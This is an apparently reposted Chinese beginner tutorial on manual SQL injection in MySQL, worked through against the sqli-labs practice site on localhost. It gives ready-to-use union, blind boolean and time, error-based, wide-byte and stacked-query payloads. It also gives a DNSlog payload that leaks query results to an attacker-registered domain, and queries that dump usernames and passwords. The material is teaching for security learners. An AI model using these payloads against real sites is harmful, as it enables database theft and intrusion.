基础Web漏洞-SQL注入入门(手工注入篇)

Posted xcj-djx

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了基础Web漏洞-SQL注入入门(手工注入篇)相关的知识,希望对你有一定的参考价值。

一.什么是SQL注入

?SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。本笔记环境为mysql数据库。

二.MySQL基本增删查改语法

  • 创建与删除数据库
    语法规则
    创建:CREATE DATABASE database_name
    删除:DROP DATABASE database_name
  • 创建与删除表
    语法规则
    创建表:
CREATE TABLE table_name(
#字段1 数据类型,
name VARCHAR(20),
id INT(8)
);
  • 插入数据
    语法规则:INSERT INTO table_name (name,id) VALUES(‘张三‘,1);
  • 删除数据
    语法规则:DELETE FROM table_name WHERE id=1;
  • 查询语句
    语法规则:SELECT name FROM table_name WHERE id=1;

三.INFORMATION_SCHEMA库

  • information_schema数据库保存了整个Mysql中的所有信息(Mysql5.0以上),可以理解为信息数据库
  • information_schema数据库表:
    1.SCHEMATA表: 保存了Mysql数据库中所有的库名 SHOW DATABASES;的结果就是取自该表的SCHEMA_NAME
    技术图片
    技术图片
    查库 : select schema_name from information_schema.schemata;
    2.TABLES表: 提供了数据库中每一个库的所有表的名称
    查表 : select table_name from information_schema.tables where table_schema=‘想查表的库名‘;
    3.COLUMNS表: 提供了所有库的所有表的所有字段信息
    查列 : select column_name from information_schema.columns where table_name=‘想查字段的表名‘;

经过上述三个语句 已经可以查询所有的表和字段信息 就可根据查询语句查询任意信息
栗子: select password,username from security.users; (查询security库中users表中所有password和username信息)

技术图片

四.MySQL注入常用函数

  • user();/current_user(); 查询当前用户
    技术图片
  • @@basedir; 数据库安装路径 / @@datadir; 数据库路径
    技术图片
  • @@version_compile_os; 查询操作系统版本
    技术图片
  • 字符串拼接函数
    concat , concat_ws(用字符将参数拼接起来) , group_concat
    例如:select group_concat(concat_ws(‘~‘,username,password)) from security.users;
    技术图片
  • 字符串截取函数
    substr(从第n位开始,截取m位):select substr((selsect username from users limit 0,1),1,2);
    mid(从第n位开始,截取m位):select mid(‘martin‘,2,3);
    left(从左开始,截取n位):select left(‘martin‘,2);
    right(从右开始,截取n位):select right(‘martin‘,2);
    locate(返回第一个字符串首次出现在第二个字符出现的位置):select locate(‘martin‘,‘12432martin‘);
  • 返回ASCII字符对应的值(反向用char)
    ascii:select ascii(‘a‘);
    ord:select ord(‘a‘);
    技术图片
  • 部分计算
    select length(database()); 当前数据库名称的长度
    count 计算数目
  • 延时函数
    select sleep(5); 延时5秒 常用于时间盲注
    if:语法if(exp1,exp2,exp3); 如果exp1为真,执行exp2,否则执行exp3
  • 常见注释
#
--+(浏览器常用)
/*/
/*!*/

五.常见的SQL注入类型

  • 字符型

技术图片
根据提示 用GET方法提交ID参数
技术图片
改变URL 发现报错
技术图片
查看源码
技术图片
构造URL:http://127.0.0.1/sqli/Less-1/?id=1‘ and 1 = 1 --+(1=1 正常 1=2报错)
技术图片

  • 数字型
    查看第二关源码
    技术图片
    发现与第一关不同的是 id参数数据类型发生了变化 所以构造URL
    技术图片
  • 搜索型
    常见源码 :$sql="select * from user where password like ‘%$pwd%‘ order by password";
    若用户输入m‘and 1=1 and ‘%‘=‘ 则会构成注入
    源码中的语句会变成:select * from user where password like ‘%m‘and 1=1 and ‘%‘=‘%‘ order by password

六.常用的注入方式

  • union注入
  1. 使用order by语句进行列数的估计
    技术图片
    技术图片
    由此可以看出 列数为3列
  2. 使用union注入(union selectunion all select)
    技术图片
    根据前述数据库查询语句 查询有哪些数据库 表名 进而查询详细数据
    技术图片
  • 布尔盲注(页面无回显,返回的只有布尔值)
    在id后加 没有出现回显
    技术图片
    判断是否存在注入与union类似 可以使用length来猜取库名 表名长度 如下图
    技术图片
    判断出长度 使用substr来遍历出数据库名的字符
    构造:?id=1‘ and ascii(substr(database(),1,1))>n --+ (使用BP爆破)
  • 时间盲注 (基于Web界面响应的时间差来判断注入)
    技术图片
    看出sleep函数已经被带入后端处理了 证明存在注入
    构造URL:http://localhost/sqli/Less-9/?id=1%27%20and%20if%20(length(database())=8,sleep(5),1)--+
    技术图片
    大体步骤同布尔盲注 只是构造的函数和判断方式改变了一下
  • DNSlog盲注
    利用条件 mysql.inisecure_file_priv必须为空
    构造payload:load_file(concat(‘\\\\‘,执行的语句,‘.自行注册\\abc‘))--+
  • 报错注入 (公式化注入 直接插入payload)
    1)updatexml payload:?id=1‘ and (updatexml(1,concat(0x7e,(SQL语句),0x7e),1));--+
    技术图片
    2)extractvalue
    payload:?id=1‘ and (extractvalue(1,concat(0x7e,(SQL语句),0x7e)));--+
    技术图片
  1. floor
    payload:?id=1‘ and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
    技术图片
  • 宽字节注入 (gbk要两个asscii组合解码)
    特殊字符被转义 如:
    技术图片
    因为使用GBK编码 /被合并成了特殊字符
    技术图片
  • 二次注入
    将存储到数据库中的数据取出在执行 形成的注入
  • http请求头注入
    抓包修改http请求头 构成注入
  • 堆叠注入 (多条sql一起执行 可以修改数据库中的数据)
    如图 新建了一个test表目

技术图片


以上 就是一些常见的SQL注入知识点



















































































以上是关于基础Web漏洞-SQL注入入门(手工注入篇)的主要内容,如果未能解决你的问题,请参考以下文章

Web安全入门(ACCESS手工注入)

SQL注入(手工篇)

基础篇——SQL注入(工具注入)

SQL注入漏洞全接触--入门篇

PHP代码审计入门(SQL注入漏洞挖掘基础)

WEB安全- SQL过滤字符后手工注入漏洞测试(第3题)